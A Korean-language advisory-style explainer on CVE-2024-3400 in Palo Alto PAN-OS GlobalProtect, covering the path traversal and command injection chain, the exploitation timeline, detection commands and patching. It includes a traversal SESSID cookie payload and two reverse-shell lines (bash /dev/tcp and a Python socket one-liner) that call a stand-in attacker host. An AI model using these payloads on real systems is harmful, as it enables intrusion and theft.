개요
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2024-3400 |
| CVSS 점수 | 10.0 (Critical) |
| 영향 제품 | Palo Alto Networks PAN-OS (GlobalProtect 활성화 시) |
| 취약점 유형 | OS Command Injection |
| 인증 필요 | ❌ 불필요 (Pre-auth RCE) |
| 발견 | 2024년 4월, Volexity |
| 패치 | 2024-04-14 |
기본 원리: OS 명령어 주입이란
쉘 명령어와 입력값 삽입
많은 시스템 소프트웨어는 내부적으로 쉘 명령어를 실행한다. 예를 들어 VPN 장비가 세션 정보를 로그 파일에 기록하거나, 상태를 점검할 때 쉘 스크립트를 호출하는 경우가 있다.
# 취약한 패턴: 사용자 입력이 쉘 명령어에 직접 포함
session_id = request.cookies.get("SESSID")
os.system(f"echo {session_id} >> /var/log/sessions.log")
# session_id = "abc; whoami" 이면:
# echo abc; whoami >> /var/log/sessions.log
# ↑ 세미콜론으로 명령어 분리 → whoami가 별도 실행됨
# 더 심각한 예:
# session_id = "; bash -i >& /dev/tcp/attacker.com/4444 0>&1"
# → 리버스 쉘 실행
경로 탐색(Path Traversal)과의 조합
이 취약점은 두 개의 버그가 결합되어 최대 위력을 발휘한다.
버그 1 — 경로 탐색: SESSID 쿠키 값이 파일명으로 사용될 때, ../ 같은 디렉터리 이동 문자를 포함하면 임의 경로에 파일을 생성할 수 있다.
정상: SESSID = "abc123"
파일 생성: /var/sessdata/abc123
공격: SESSID = "/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt"
파일 생성: /var/appweb/sslvpndocs/global-protect/portal/images/poc.txt
(웹 서버가 직접 서비스하는 디렉터리!)
버그 2 — 명령어 주입: 이렇게 생성된 파일의 내용이 나중에 쉘 명령어로 실행되거나, 크론탭이 해당 경로의 파일을 실행하는 경우 RCE로 이어진다.
취약점 상세
공격 대상
PAN-OS GlobalProtect는 기업 VPN 솔루션이다. 인터넷에 직접 노출되는 게이트웨이/포털이 공격 대상이다.
공격자 (인터넷)
↓ HTTP 요청 (조작된 SESSID 쿠키 포함)
GlobalProtect VPN 포털/게이트웨이
↓ 내부 처리 중 버그 발동
PAN-OS 루트 쉘 실행
공격 흐름
1단계 — 임의 파일 생성 (Path Traversal)
GET /ssl-vpn/hipreport.esp HTTP/1.1
Host: victim-vpn.example.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt
Content-Type: application/x-www-form-urlencoded
[POST 바디에 악성 내용]
2단계 — 파일 내용 실행
생성된 파일이 특정 경로에 있으면 PAN-OS 내부 cron 또는
실행 스크립트에 의해 해당 내용이 쉘 명령어로 실행됨
악성 파일 내용 예시:
#!/bin/sh
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
영향 받는 버전
PAN-OS 10.2 — 10.2.9-h1 미만
PAN-OS 11.0 — 11.0.4-h1 미만
PAN-OS 11.1 — 11.1.2-h3 미만
조건: GlobalProtect 게이트웨이 또는 포털 기능이 활성화된 경우에만 취약
실제 악용 사례
Volexity와 Palo Alto Unit 42의 분석:
공격 타임라인:
2024-03-26 — 패치 전 실제 공격 시작 (제로데이 악용)
2024-04-10 — Volexity가 침해 사고 조사 중 발견
2024-04-12 — Palo Alto Networks에 보고
2024-04-14 — 긴급 패치 배포
공격 그룹: UTA0218 (국가 지원 위협 그룹 추정)
공격 후 행동:
1. CVE-2024-3400 RCE → GlobalProtect 장비 초기 장악
2. UPSTYLE 웹쉘 배포 → 지속 접근 확보
3. 내부 네트워크 탐색 (pivot)
4. Active Directory 자격증명 탈취
5. 내부 시스템 측방 이동 (Lateral Movement)
UPSTYLE 웹쉘: PAN-OS의 CSS 파일로 위장한 Python 기반 웹쉘. 정상 트래픽으로 위장하기 위해 네트워크 패킷에서 직접 명령을 파싱하는 방식 사용.
탐지 방법
# PAN-OS 로그에서 비정상적인 SESSID 패턴 확인
grep -E "SESSID=.*\.\." /var/log/pan/gp*.log
# 최근 생성된 파일 확인 (PAN-OS 기동 시점 기준)
find /var/appweb/sslvpndocs/ -newer /var/log/pan/start.log -type f
# 비정상적인 Python 프로세스 확인
ps aux | grep python
Palo Alto 공식 Threat Prevention 시그니처:
- Threat ID 95187 — GlobalProtect 활성화 + Threat Prevention 구독 시 임시 차단 가능
대응 방법
1. 즉시 패치 (최우선):
- 영향 받는 PAN-OS를 수정 버전으로 업그레이드
- 10.2 → 10.2.9-h1 이상
- 11.0 → 11.0.4-h1 이상
- 11.1 → 11.1.2-h3 이상
2. 패치 전 임시 조치:
- GlobalProtect 게이트웨이/포털 기능 비활성화
- Threat Prevention 시그니처 95187 활성화
3. 침해 여부 확인:
- 의심스러운 파일 생성 로그 검토
- 비정상적인 프로세스/네트워크 연결 확인
- 접속한 외부 IP 목록 감사
교훈: 입력값 검증의 중요성
이 취약점은 두 개의 약한 버그가 결합되어 CVSS 10.0이 된 사례다.
버그 1 단독: 경로 탐색으로 임의 파일 생성 → 웹 콘텐츠 변조 (심각)
버그 2 단독: 특정 파일 내용 실행 → 제한적 영향 (중간)
두 버그 결합: 인증 없이 루트 RCE → CVSS 10.0
방어 원칙:
- 사용자 입력을 파일명/경로에 사용 시: 경로 정규화(canonicalization) + 화이트리스트
- 사용자 입력을 쉘 명령에 사용 시: 절대 사용 금지, subprocess 모듈 + 배열 인수 사용
- 최소 권한 원칙: 웹 서버 프로세스가 루트로 실행되지 않도록
CVSS 10.0은 매우 드물다. 인증 불필요 + 완전한 시스템 제어 + 실제 야생 악용이 결합된 결과다.